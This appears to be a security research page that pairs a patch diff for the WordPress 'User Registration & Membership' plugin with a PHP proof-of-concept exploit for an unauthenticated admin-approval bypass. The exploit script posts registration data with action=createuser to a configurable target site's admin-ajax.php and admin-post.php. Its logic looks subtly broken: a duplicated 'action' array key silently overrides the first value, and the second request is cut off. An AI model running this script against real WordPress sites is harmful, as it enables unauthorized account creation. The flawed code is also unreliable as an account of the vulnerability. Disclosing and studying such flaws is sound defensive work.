 			$post_id = wp_insert_post( wp_slash( $post_data ) );

 			if ( $post_id > 0 ) {
-				$_POST['data']['form_id'] = $post_id; // Form id for new form.
+				$_POST['data']['form_id'] = $post_id; // phpcs:ignore

-				$post_data_setting = isset( $_POST['data']['form_setting_data'] ) ? $_POST['data']['form_setting_data'] : array(); //phpcs:ignore
+				$post_data_setting = isset( $_POST['data']['form_setting_data'] ) ? $_POST['data']['form_setting_data'] : array(); // phpcs:ignore

 				if ( isset( $_POST['data']['form_restriction_submit_data'] ) && ! empty( $_POST['data']['form_restriction_submit_data'] ) ) {
 					array_push(
@@ -834,12 +925,46 @@
 				// Form row_data save.
 				update_post_meta( $form_id, 'user_registration_form_row_data', $form_row_data );
 			}
+
 			/**
 			 * Action after form setting save.
 			 * Default is the $_POST['data'].
 			 */
-			do_action( 'user_registration_after_form_settings_save', wp_unslash( $_POST['data'] ) ); //phpcs:ignore
-			$logger->info( __( 'Form successfully saved.', 'user-registration' ), array( 'source' => 'form-save' ) );
+			do_action( 'user_registration_after_form_settings_save', wp_unslash( $_POST['data'] ) ); // phpcs:ignore
+
+			$logger->debug(
+				sprintf( '[Form #%d] Action == ***user_registration_after_form_settings_save*** - Triggered.', $form_id ),
+				array(
+					'source'  => 'form-save',
+					'form_id' => $form_id,
+				)
+			);
+
+			$duration = round( microtime( true ) - $start, 2 );
+
+			$logger->notice(
+				sprintf( '[Form #%d] Form saved successfully', $post_id ? $post_id : absint( $form_id ) ) . "n" . wp_json_encode(
+					$post_data,
+					JSON_PRETTY_PRINT
+				),
+				array(
+					'source'   => 'form-save',
+					'form_id'  => $post_id ? $post_id : absint( $form_id ),
+					'function' => __FUNCTION__,
+					'post_id'  => $post_id,
+				)
+			);
+
+			$logger->success(
+				sprintf( '[Form #%d]  =============== ***Form save completed*** ===============', $post_id ? $post_id : absint( $form_id ) ) . "n  ",
+				array(
+					'source'   => 'form-save',
+					'form_id'  => $post_id ? $post_id : absint( $form_id ),
+					'function' => __FUNCTION__,
+					'post_id'  => $post_id,
+				)
+			);
+
 			wp_send_json_success(
 				array(
 					'data'    => $post_data,
@@ -847,13 +972,21 @@
 				)
 			);
 		} catch ( Exception $e ) {
-			$logger->error( __( 'Form save failed: ' . $e->getMessage(), 'user-registration' ), array( 'source' => 'form-save' ) );
+			$logger->error(
+				sprintf( '[Form #%d] Form save failed', $form_id ) . "n" . sprintf( 'Reason: %s', $e->getMessage() ) . "n  ",
+				array(
+					'source'   => 'form-save',
+					'form_id'  => $form_id,
+					'function' => __FUNCTION__,
+				)
+			);
+
 			wp_send_json_error(
 				array(
 					'message' => $e->getMessage(),
 				)
 			);
-		}// End try().
+		}
 	}

 	public static function login_settings_save_action() {
@@ -1005,12 +1138,12 @@
 		$page_id  = empty( $_POST['page_id'] ) ? 0 : sanitize_text_field( absint( $_POST['page_id'] ) );
 		$form_id  = ! empty( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0;
 		$is_login = ! empty( $_POST['is_login'] ) ? sanitize_text_field( wp_unslash( $_POST['is_login'] ) ) : 'no';
-
+
 		if ( empty( $page_id ) ) {

 			if ( ! current_user_can( 'publish_pages' ) ) {
 				wp_send_json_error( __( 'You do not have permission to create pages.', 'user-registration' ) );
-			}
+			}

 			$url              = add_query_arg( 'post_type', 'page', admin_url( 'post-new.php' ) );
 			$meta             = array(
@@ -1570,7 +1703,7 @@
 		$install_status = install_plugin_install_status( $api );

 		if ( current_user_can( 'activate_plugin', $install_status['file'] ) && is_plugin_inactive( $install_status['file'] ) ) {
-			$current_page = isset( $_POST['page'] ) ? sanitize_text_field( wp_unslash( $_POST['page'] ) ) : '';
+			$current_page        = isset( $_POST['page'] ) ? sanitize_text_field( wp_unslash( $_POST['page'] ) ) : '';
 			$auto_activate_pages = array(
 				'user-registration-membership_page_add-new-registration',
 				'user-registration-membership_page_user-registration-settings',
@@ -1905,8 +2038,8 @@
 				)
 			);
 		}
-		$is_disabled = isset($form_data[ 'user_registration_' . $setting_id . '_enabled']) && !$form_data[ 'user_registration_' . $setting_id . '_enabled'];
-		if( $is_disabled ) {
+		$is_disabled = isset( $form_data[ 'user_registration_' . $setting_id . '_enabled' ] ) && ! $form_data[ 'user_registration_' . $setting_id . '_enabled' ];
+		if ( $is_disabled ) {
 			update_option( 'urm_' . $setting_id . '_updated_connection_status', true ); //to check if this setting has been updated at least once
 			update_option( 'urm_' . $setting_id . '_connection_status', false );
 		} else {
@@ -1922,8 +2055,8 @@

 		wp_send_json_success(
 			array(
-				'message' => $message,
-				'is_connected' => !$is_disabled
+				'message'      => $message,
+				'is_connected' => ! $is_disabled,
 			)
 		);
 	}
@@ -2295,19 +2428,19 @@

 		$post_content = $is_membership
 			? '[[[' .
-			  '{"field_key":"user_login","general_setting":{"label":"Username","description":"","field_name":"user_login","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":"","username_length":"","username_character":"1"},"icon":"ur-icon ur-icon-user"},' .
-			  '{"field_key":"user_email","general_setting":{"label":"User Email","description":"","field_name":"user_email","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-email"},' .
-			  '{"field_key":"user_pass","general_setting":{"label":"User Password","description":"","field_name":"user_pass","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-password"},' .
-			  '{"field_key":"user_confirm_password","general_setting":{"label":"Confirm Password","description":"","field_name":"user_confirm_password","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-password-confirm"}' .
-			  '],[' .
-			  '{"field_key":"membership","general_setting":{"label":"Membership Field","description":"","field_name":"' . $membership_field_name . '","required":"false","hide_label":"false","membership_listing_option":"all","membership_group":"0"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-membership-field"}' .
-			  ']]]'
+				'{"field_key":"user_login","general_setting":{"label":"Username","description":"","field_name":"user_login","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":"","username_length":"","username_character":"1"},"icon":"ur-icon ur-icon-user"},' .
+				'{"field_key":"user_email","general_setting":{"label":"User Email","description":"","field_name":"user_email","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-email"},' .
+				'{"field_key":"user_pass","general_setting":{"label":"User Password","description":"","field_name":"user_pass","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-password"},' .
+				'{"field_key":"user_confirm_password","general_setting":{"label":"Confirm Password","description":"","field_name":"user_confirm_password","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-password-confirm"}' .
+				'],[' .
+				'{"field_key":"membership","general_setting":{"label":"Membership Field","description":"","field_name":"' . $membership_field_name . '","required":"false","hide_label":"false","membership_listing_option":"all","membership_group":"0"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-membership-field"}' .
+				']]]'
 			: '[[[' .
-			  '{"field_key":"user_login","general_setting":{"label":"Username","description":"","field_name":"user_login","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":"","username_length":"","username_character":"1"},"icon":"ur-icon ur-icon-user"},' .
-			  '{"field_key":"user_email","general_setting":{"label":"User Email","description":"","field_name":"user_email","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-email"},' .
-			  '{"field_key":"user_pass","general_setting":{"label":"User Password","description":"","field_name":"user_pass","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-password"},' .
-			  '{"field_key":"user_confirm_password","general_setting":{"label":"Confirm Password","description":"","field_name":"user_confirm_password","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-password-confirm"}' .
-			  ']]]';
+				'{"field_key":"user_login","general_setting":{"label":"Username","description":"","field_name":"user_login","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":"","username_length":"","username_character":"1"},"icon":"ur-icon ur-icon-user"},' .
+				'{"field_key":"user_email","general_setting":{"label":"User Email","description":"","field_name":"user_email","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-email"},' .
+				'{"field_key":"user_pass","general_setting":{"label":"User Password","description":"","field_name":"user_pass","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-password"},' .
+				'{"field_key":"user_confirm_password","general_setting":{"label":"Confirm Password","description":"","field_name":"user_confirm_password","placeholder":"","required":"1","hide_label":"false"},"advance_setting":{"custom_class":""},"icon":"ur-icon ur-icon-password-confirm"}' .
+				']]]';

 		$default_post_id = wp_insert_post(
 			array(
@@ -2621,17 +2754,17 @@
 	 *
 	 * @since 6.1.0
 	 */
-	public static function update_state_field(){
+	public static function update_state_field() {
 		check_ajax_referer( 'user_registration_update_state_field_nonce', 'security' );

 		$country = $_POST['country'];

 		$states_json = ur_file_get_contents( '/assets/extensions-json/states.json' );
-		$state_list = json_decode( $states_json, true );
+		$state_list  = json_decode( $states_json, true );

-		$states 	= isset( $state_list[ $country ] ) ? $state_list[ $country ] : '';
-		$option 	= '';
-		$has_state 	= false;
+		$states    = isset( $state_list[ $country ] ) ? $state_list[ $country ] : '';
+		$option    = '';
+		$has_state = false;
 		if ( is_array( $states ) ) {
 			foreach ( $states as $state_key => $state ) {
 				$option .= '<option value="' . $state_key . '">' . esc_html( $state ) . '</option>';
@@ -2641,8 +2774,8 @@

 		wp_send_json_success(
 			array(
-				'state' 	=> $option,
-				'has_state' => $has_state
+				'state'     => $option,
+				'has_state' => $has_state,
 			)
 		);
 	}
--- a/user-registration/includes/class-ur-emailer.php
+++ b/user-registration/includes/class-ur-emailer.php
@@ -294,15 +294,28 @@
 	 */
 	public static function user_registration_process_and_send_email( $email, $subject, $message, $header, $attachment, $template_id ) {

+		$logger = ur_get_logger();
+		$logger->notice( '=============== Email Sending Start ================', array( 'source' => 'ur_mail_logs' ) );
+		$logger->debug(
+			'Email details:' . "n" . wp_json_encode(
+				array(
+					'to'          => $email,
+					'subject'     => $subject,
+					'template_id' => $template_id,
+				),
+				JSON_PRETTY_PRINT
+			),
+			array( 'source' => 'ur_mail_logs' )
+		);
+
 		$message = user_registration_process_email_content( $message, $template_id );
 		$status  = wp_mail( $email, $subject, $message, $header, $attachment, $template_id );

 		$mail_error_notice_dismissed = get_option( 'user_registration_info_ur_email_send_failed_notice_dismissed_temporarily', false );
 		$mail_error_notice_dismissed = ! $mail_error_notice_dismissed ? get_option( 'user_registration_info_ur_email_send_failed_notice_dismissed', false ) : $mail_error_notice_dismissed;
-		$logger                      = ur_get_logger();
-		$logger->info( __( 'Email Sending', 'user-registration' ), array( 'source' => 'ur_mail_logs' ) );
+
 		if ( ! $status && ! $mail_error_notice_dismissed ) {
-			$logger->info( __( 'Email Sending failed', 'user-registration' ), array( 'source' => 'ur_mail_logs' ) );
+			$logger->error( __( 'wp_mail() returned false. Email could not be sent.', 'user-registration' ), array( 'source' => 'ur_mail_logs' ) );
 			$error_message = apply_filters( 'user_registration_email_send_failed_message', '' );
 			$failed_data   = get_transient( 'user_registration_mail_send_failed_count' );
 			$failed_count  = $failed_data && isset( $failed_data['failed_count'] ) ? $failed_data['failed_count'] : 0;
@@ -315,10 +328,14 @@
 				)
 			);
 			return $status;
-		} else {
-			$logger->info( __( 'Email Send Successfully', 'user-registration' ), array( 'source' => 'ur_mail_logs' ) );
+		}
+
+		if ( ur_string_to_bool( $status ) ) {
+			$logger->success( '=============== Email send request completed successfully ===============', array( 'source' => 'ur_mail_logs' ) );
 			return $status;
 		}
+
+		return $status;
 	}

 	/**
--- a/user-registration/includes/class-ur-user-approval.php
+++ b/user-registration/includes/class-ur-user-approval.php
@@ -457,7 +457,12 @@
 	 * @return bool
 	 */
 	protected function is_admin_creation_process() {
-		return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		return (
+			is_admin() &&
+			current_user_can( 'create_users' ) &&
+			isset( $_REQUEST['action'] ) && // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			'createuser' === $_REQUEST['action'] // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		);
 	}

 	/**
--- a/user-registration/includes/frontend/class-ur-frontend-form-handler.php
+++ b/user-registration/includes/frontend/class-ur-frontend-form-handler.php
@@ -50,16 +50,41 @@
 	 * @return void
 	 */
 	public static function handle_form( $form_data, $form_id ) {
+
 		$logger = ur_get_logger();
+		$logger->debug(
+			sprintf( '[Form #%d] Function == ***%s()*** - Started execution', $form_id, __FUNCTION__ ),
+			array(
+				'source'  => 'form-submission',
+				'form_id' => $form_id,
+			)
+		);
+
 		self::$form_id      = $form_id;
 		$post_content_array = ( $form_id ) ? UR()->form->get_form( $form_id, array( 'content_only' => true ) ) : array();

 		if ( gettype( $form_data ) != 'array' && gettype( $form_data ) != 'object' ) {
 			$form_data = array();
 		}
-		$logger->info( __( 'Getting the form fields', 'user-registration' ), array( 'source' => 'form-submission' ) );
+
+		$logger->info(
+			sprintf( '[Form #%d] Getting the form fields...', $form_id ),
+			array(
+				'source'   => 'form-submission',
+				'form_id'  => $form_id,
+				'function' => __FUNCTION__,
+			)
+		);
+
 		$form_field_data = self::get_form_field_data( $post_content_array );
-		$logger->info( __( 'Form fields received', 'user-registration' ), array( 'source' => 'form-submission' ) );
+
+		$logger->notice(
+			sprintf( '[Form #%d] Form fields received.', $form_id ),
+			array(
+				'source'  => 'form-submission',
+				'form_id' => $form_id,
+			)
+		);

 		$user_pass = '';

@@ -82,19 +107,33 @@
 			)
 		);

-		$logger->info( __( 'Organizing the form data.', 'user-registration' ), array( 'source' => 'form-submission' ) );
+		$logger->info(
+			sprintf( '[Form #%d] Organizing the form data.', $form_id ),
+			array(
+				'source'  => 'form-submission',
+				'form_id' => $form_id,
+			)
+		);
+
 		self::$valid_form_data = apply_filters( 'user_registration_reorganize_form_data', self::$valid_form_data, $form_field_data, $form_id );
-		$logger->info( __( 'Form data organized.', 'user-registration' ), array( 'source' => 'form-submission' ) );

-		$logger->info( __( 'Getting response', 'user-registration' ), array( 'source' => 'form-submission' ) );
+		$logger->info(
+			sprintf( '[Form #%d] Form data organized.', $form_id ),
+			array(
+				'source'  => 'form-submission',
+				'form_id' => $form_id,
+			)
+		);
+
+		// $logger->info( __( 'Getting response', 'user-registration' ), array( 'source' => 'form-submission' ) );
 		self::$response_array = apply_filters( 'user_registration_response_array', self::$response_array, $form_data, $form_id );
-		$logger->info( __( 'Response received', 'user-registration' ), array( 'source' => 'form-submission' ) );
+		// $logger->info( __( 'Response received', 'user-registration' ), array( 'source' => 'form-submission' ) );

 		if ( count( self::$response_array ) === 0 ) {
-			$user_role = ! in_array( ur_get_form_setting_by_key( $form_id, 'user_registration_form_setting_default_user_role' ), array_keys( ur_get_default_admin_roles() ) ) ? 'subscriber' : ur_get_form_setting_by_key( $form_id, 'user_registration_form_setting_default_user_role' );
-			$user_role = apply_filters( 'user_registration_user_role', $user_role, self::$valid_form_data, $form_id );
+			$user_role            = ! in_array( ur_get_form_setting_by_key( $form_id, 'user_registration_form_setting_default_user_role' ), array_keys( ur_get_default_admin_roles() ) ) ? 'subscriber' : ur_get_form_setting_by_key( $form_id, 'user_registration_form_setting_default_user_role' );
+			$user_role            = apply_filters( 'user_registration_user_role', $user_role, self::$valid_form_data, $form_id );
 			$user_registered_date = apply_filters( 'user_registration_user_registered_date', current_time( 'Y-m-d H:i:s' ) );
-			$userdata  = array(
+			$userdata             = array(
 				'user_login'      => isset( self::$valid_form_data['user_login'] ) ? self::$valid_form_data['user_login']->value : '',
 				'user_pass'       => $user_pass,
 				'user_email'      => self::$valid_form_data['user_email']->value,
@@ -104,12 +143,35 @@
 				'role'            => $user_role,
 				'user_registered' => $user_registered_date,
 			);
-			$logger->info( __( 'Validating form data', 'user-registration' ), array( 'source' => 'form-submission' ) );
+
+			$logger->info(
+				sprintf( '[Form #%d] Validating form data...', $form_id ),
+				array(
+					'source'  => 'form-submission',
+					'form_id' => $form_id,
+				)
+			);
+
 			self::$valid_form_data = apply_filters( 'user_registration_before_register_user_filter', self::$valid_form_data, $form_id );
-			$logger->info( __( 'Form data validated', 'user-registration' ), array( 'source' => 'form-submission' ) );
+
+			$logger->info(
+				sprintf( '[Form #%d] Form data validation completed.', $form_id ),
+				array(
+					'source'  => 'form-submission',
+					'form_id' => $form_id,
+				)
+			);

 			do_action( 'user_registration_before_register_user_action', self::$valid_form_data, $form_id );

+			$logger->debug(
+				sprintf( '[Form #%d] Action == ***user_registration_before_register_user_action*** - Triggered.', $form_id ),
+				array(
+					'source'  => 'form-submission',
+					'form_id' => $form_id,
+				)
+			);
+
 			if ( empty( $userdata['user_login'] ) ) {
 				$part_of_email          = explode( '@', $userdata['user_email'] );
 				$username               = check_username( $part_of_email[0] );
@@ -121,22 +183,46 @@
 			// If spam and reject registration return early
 			$akismet_result = apply_filters( 'user_registration_get_akismet_validate', $form_id, self::$valid_form_data );
 			if ( $akismet_result ) {
-				$logger->error( __( 'Registration blocked due to potential spam.', 'user-registration' ), array( 'source' => 'form-submission' ) );
+
+				$logger->error(
+					sprintf( '[Form #%d] Registration blocked due to potential spam.', $form_id . "n  " ),
+					array(
+						'source'  => 'form-submission',
+						'form_id' => $form_id,
+					)
+				);
+
 				wp_send_json_error(
 					array(
 						'message' => __( 'Registration blocked due to potential spam. Reach out to support for help.', 'user-registration' ),
 					)
 				);
 			}
-			$logger->info( __( 'Inserting User', 'user-registration' ), array( 'source' => 'form-submission' ) );
+
+			$logger->info(
+				sprintf( '[Form #%d] Inserting User...', $form_id ),
+				array(
+					'source'  => 'form-submission',
+					'form_id' => $form_id,
+				)
+			);
+
 			$user_id = wp_insert_user( $userdata ); // Insert user data in users table.

 			if ( is_wp_error( $user_id ) ) {
-				$err_msg = "";
+				$err_msg = '';
 				foreach ( $user_id->errors as $error ) {
-					$err_msg .= "<p>" . $error[0] . "</p>";
+					$err_msg .= '<p>' . $error[0] . '</p>';
 				}
-				$logger->info( __( 'User insertion failed', 'user-registration' ), array( 'source' => 'form-submission' ) );
+
+				$logger->error(
+					sprintf( '[Form #%d] User insertion failed.', $form_id . "n  " ),
+					array(
+						'source'  => 'form-submission',
+						'form_id' => $form_id,
+					)
+				);
+
 				wp_send_json_error(
 					array(
 						'message' => sprintf( __( '%s', 'user-registration' ), $err_msg ),
@@ -145,13 +231,77 @@
 			}

 			$filtered_form_data = apply_filters( 'user_registration_before_user_meta_update', self::$valid_form_data, $user_id, $form_id );
-			$logger->info( __( 'Inserting user meta data', 'user-registration' ), array( 'source' => 'form-submission' ) );
+
+			$logger->info(
+				sprintf( '[Form #%d] Inserting the user meta data.', $form_id ),
+				array(
+					'source'  => 'form-submission',
+					'form_id' => $form_id,
+				)
+			);
+
 			self::ur_update_user_meta( $user_id, $filtered_form_data, $form_id ); // Insert user data in usermeta table.
-			$logger->info( __( 'User meta data updated', 'user-registration' ), array( 'source' => 'form-submission' ) );
+
+			$logger->notice(
+				sprintf( '[Form #%d] User meta data inserted successfully.', $form_id ),
+				array(
+					'source'  => 'form-submission',
+					'form_id' => $form_id,
+				)
+			);
+
 			if ( $user_id > 0 ) {
-				$logger->info( __( 'User insert successfully', 'user-registration' ), array( 'source' => 'form-submission' ) );
+				$logger->notice(
+					sprintf( '[Form #%d] User created successfully.', $form_id ),
+					array(
+						'source'  => 'form-submission',
+						'form_id' => $form_id,
+					)
+				);
+
+				$user = get_userdata( $user_id );
+
+				if ( $user ) {
+					$user_data = array(
+						'ID'              => $user->ID,
+						'user_login'      => $user->user_login,
+						'user_email'      => $user->user_email,
+						'display_name'    => $user->display_name,
+						'user_nicename'   => $user->user_nicename,
+						'user_registered' => $user->user_registered,
+						'roles'           => $user->roles,
+					);
+
+					$logger->debug(
+						sprintf( '[Form #%d] Created user data:', $form_id ) . "n" . wp_json_encode( $user_data, JSON_PRETTY_PRINT ),
+						array(
+							'source'  => 'form-submission',
+							'form_id' => $form_id,
+							'user_id' => $user_id,
+						)
+					);
+				}
+
 				do_action( 'user_registration_after_user_meta_update', self::$valid_form_data, $form_id, $user_id );
-				$login_option   = ur_get_user_login_option( $user_id );
+
+				$logger->debug(
+					sprintf( '[Form #%d] Action hook == ***user_registration_after_user_meta_update*** - Triggered.', $form_id ),
+					array(
+						'source'  => 'form-submission',
+						'form_id' => $form_id,
+					)
+				);
+
+				$login_option = ur_get_user_login_option( $user_id );
+
+				$logger->info(
+					sprintf( '[Form #%d] User Login Option: %s', $form_id, $login_option ),
+					array(
+						'source'  => 'form-submission',
+						'form_id' => $form_id,
+					)
+				);
+
 				$success_params = array(
 					'username' => isset( $userdata['user_login'] ) ? $userdata['user_login'] : '',
 				);
@@ -164,14 +314,12 @@
 					if ( 'auto_login' === $login_option ) {
 						$success_params['auto_login'] = false;
 					}
-				}
-				else if ( isset( $_POST['is_membership_active'] )) {
+				} elseif ( isset( $_POST['is_membership_active'] ) ) {
 					if ( 'auto_login' === $login_option ) {
-						$success_params['auto_login'] = true;
+						$success_params['auto_login']      = true;
 						$success_params['membership_type'] = $_POST['membership_type'];
 					}
-				}
-				elseif ( 'auto_login' === $login_option ) {
+				} elseif ( 'auto_login' === $login_option ) {
 					delete_user_meta( $user_id, 'urm_user_just_created' );
 					wp_clear_auth_cookie();
 					$remember = apply_filters( 'user_registration_autologin_remember_user', false );
@@ -179,11 +327,11 @@
 					$success_params['auto_login'] = true;
 				}
 				$success_params['success_message_positon'] = ur_get_single_post_meta( $form_id, 'user_registration_form_setting_success_message_position', '1' );
-				$success_params['form_login_option']       = ! ur_string_to_bool( get_option( 'user_registration_enable_email_confirmation', true ) ) && 'email_confirmation' === $login_option ?  'email_confirmation' : $login_option;
+				$success_params['form_login_option']       = ! ur_string_to_bool( get_option( 'user_registration_enable_email_confirmation', true ) ) && 'email_confirmation' === $login_option ? 'email_confirmation' : $login_option;

-				$redirect_timeout = (int) ur_get_single_post_meta( $form_id, 'user_registration_form_setting_redirect_after', '2' ) * 1000;
-				$redirect_after_registration = ur_get_single_post_meta( $form_id, 'user_registration_form_setting_redirect_after_registration', ur_get_default_redirect_after_registration( $form_id ) );
-				$success_params['redirect_timeout'] = "no-redirection" !== $redirect_after_registration ? apply_filters( 'user_registration_hold_success_message_before_redirect', $redirect_timeout ) : 0;
+				$redirect_timeout                   = (int) ur_get_single_post_meta( $form_id, 'user_registration_form_setting_redirect_after', '2' ) * 1000;
+				$redirect_after_registration        = ur_get_single_post_meta( $form_id, 'user_registration_form_setting_redirect_after_registration', ur_get_default_redirect_after_registration( $form_id ) );
+				$success_params['redirect_timeout'] = 'no-redirection' !== $redirect_after_registration ? apply_filters( 'user_registration_hold_success_message_before_redirect', $redirect_timeout ) : 0;

 				$redirect_url = ur_get_form_redirect_url( $form_id );

@@ -191,7 +339,7 @@
 					$success_params['redirect_url'] = $redirect_url;
 				}
 				$success_params = apply_filters( 'user_registration_success_params', $success_params, self::$valid_form_data, $form_id, $user_id );
-				$logger->info( __( 'Processing form data', 'user-registration' ), array( 'source' => 'form-submission' ) );
+				// $logger->info( __( 'Processing form data', 'user-registration' ), array( 'source' => 'form-submission' ) );
 				foreach ( self::$valid_form_data as $field_key => $field_value ) {
 					if ( isset( $field_value->extra_params ) && isset( $field_value->extra_params['field_key'] ) ) {
 						if ( 'file' === $field_value->extra_params['field_key'] ) {
@@ -217,21 +365,53 @@
 					}
 				}
 				if ( ! isset( $success_params['stripe_process'] ) || $success_params['stripe_process'] == false ) {
-					$logger->info( __( 'Triggering user registration hooks', 'user-registration' ), array( 'source' => 'form-submission' ) );
+
 					do_action( 'user_registration_after_register_user_action', self::$valid_form_data, $form_id, $user_id );
+
+					$logger->debug(
+						sprintf( '[Form #%d] Action hook == ***user_registration_after_register_user_action*** - Triggered.', $form_id ),
+						array(
+							'source'  => 'form-submission',
+							'form_id' => $form_id,
+						)
+					);
 				}
-				$logger->info( __( 'User registration process completed.', 'user-registration' ), array( 'source' => 'form-submission' ) );
+
 				$success_params = apply_filters( 'user_registration_success_params_before_send_json', $success_params, self::$valid_form_data, $form_id, $user_id );

-				if( empty( $_POST['ur_fallback_submit'] ) ) {
+				$logger->debug(
+					sprintf( '[Form #%d] Success params:', $form_id ) . "n" . wp_json_encode( $success_params, JSON_PRETTY_PRINT ),
+					array(
+						'source'  => 'form-submission',
+						'form_id' => $form_id,
+						'user_id' => $user_id,
+					)
+				);
+
+				$logger->success(
+					sprintf( '[Form #%d] =============== ***User registration process completed*** ===============', $form_id ) . "n   ",
+					array(
+						'source'  => 'form-submission',
+						'form_id' => $form_id,
+					)
+				);
+
+				if ( empty( $_POST['ur_fallback_submit'] ) ) {
 					wp_send_json_success( $success_params );
 				} else {
 					apply_filters( 'user_registration_post_success_message', __( 'User successfully registered.', 'user-registration' ) );
 				}
-
 			}
-			$logger->error( __( 'Something went wrong! please try again.', 'user-registration' ), array( 'source' => 'form-submission' ) );
-			if( empty( $_POST['ur_fallback_submit'] ) ) {
+
+			$logger->error(
+				sprintf( '[Form #%d] Something wen wrong!. Getting the invalid user ID %s. Please try again. ', $form_id, $user_id ) . "n",
+				array(
+					'source'  => 'form-submission',
+					'form_id' => $form_id,
+				)
+			);
+
+			if ( empty( $_POST['ur_fallback_submit'] ) ) {
 				wp_send_json_error(
 					a

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6145 - User Registration & Membership <= 5.1.5 - Unauthenticated Missing Authorization to Admin Approval Bypass via 'action' Parameter

// Configure target WordPress site
$target_url = 'http://example.com'; // Change this to the target WordPress URL

// User registration data - modify as needed
$username = 'poc_user_' . rand(1000, 9999);
$email = $username . '@example.com';
$password = 'P@ssw0rd123!';

// Step 1: Check if the site is vulnerable by sending a registration request
// The AJAX handler for user registration
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Prepare the registration data with the 'createuser' action parameter
// This exploits the is_admin_creation_process() method which only checks for action=createuser
$post_data = array(
    'action' => 'user_registration_myaccount_action',  // Trigger the form handler
    'form_id' => 0,  // Default form ID
    'user_registration_user_email' => $email,
    'user_registration_user_login' => $username,
    'user_registration_user_pass' => $password,
    'user_registration_user_confirm_password' => $password,
    'action' => 'createuser',  // This triggers the bypass - overrides the previous action
    '_wpnonce' => '',  // No nonce required for unauthenticated bypass
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIE, '');  // No cookies - unauthenticated

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check the response for success indicators
echo "[+] Testing CVE-2026-6145 on: " . $target_url . "n";
echo "[+] Username: " . $username . "n";
echo "[+] Email: " . $email . "n";
echo "[+] HTTP Response Code: " . $http_code . "nn";

if ($http_code == 200) {
    // Try to parse the response
    $response_data = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE) {
        if (isset($response_data['success']) && $response_data['success'] === true) {
            echo "[!] VULNERABLE! User registration bypassed admin approval!n";
            echo "[!] Response: " . print_r($response_data, true) . "n";
        } else {
            echo "[-] Could not bypass registration: " . (isset($response_data['data']['message']) ? $response_data['data']['message'] : 'Unknown error') . "n";
        }
    } else {
        echo "[?] Response is not JSON:" . substr($response, 0, 500) . "n";
    }
} else {
    echo "[-] Request failed with HTTP code: " . $http_code . "n";
}

// Step 2: Try alternative method using the form submission directly
$form_submit_url = $target_url . '/wp-admin/admin-post.php';

$post_data2 = array(
    'action' => 'user_registration_myaccount_action',
    'form_id' => 0,
    'user_registration_user_email' => $email,
    'user_registration_user_login' => $username,
    'user_registration_user_pass' => $password,
    'user_registration_user_confirm_password' => $password,
    'action' => 'createuser',
);

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $form_submit_url);
curl_setopt($ch2, CURLOPT_POST, 1);
curl_setopt($ch2, CURLOPT_POSTFIELDS, http_build_query($post_data2));
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);

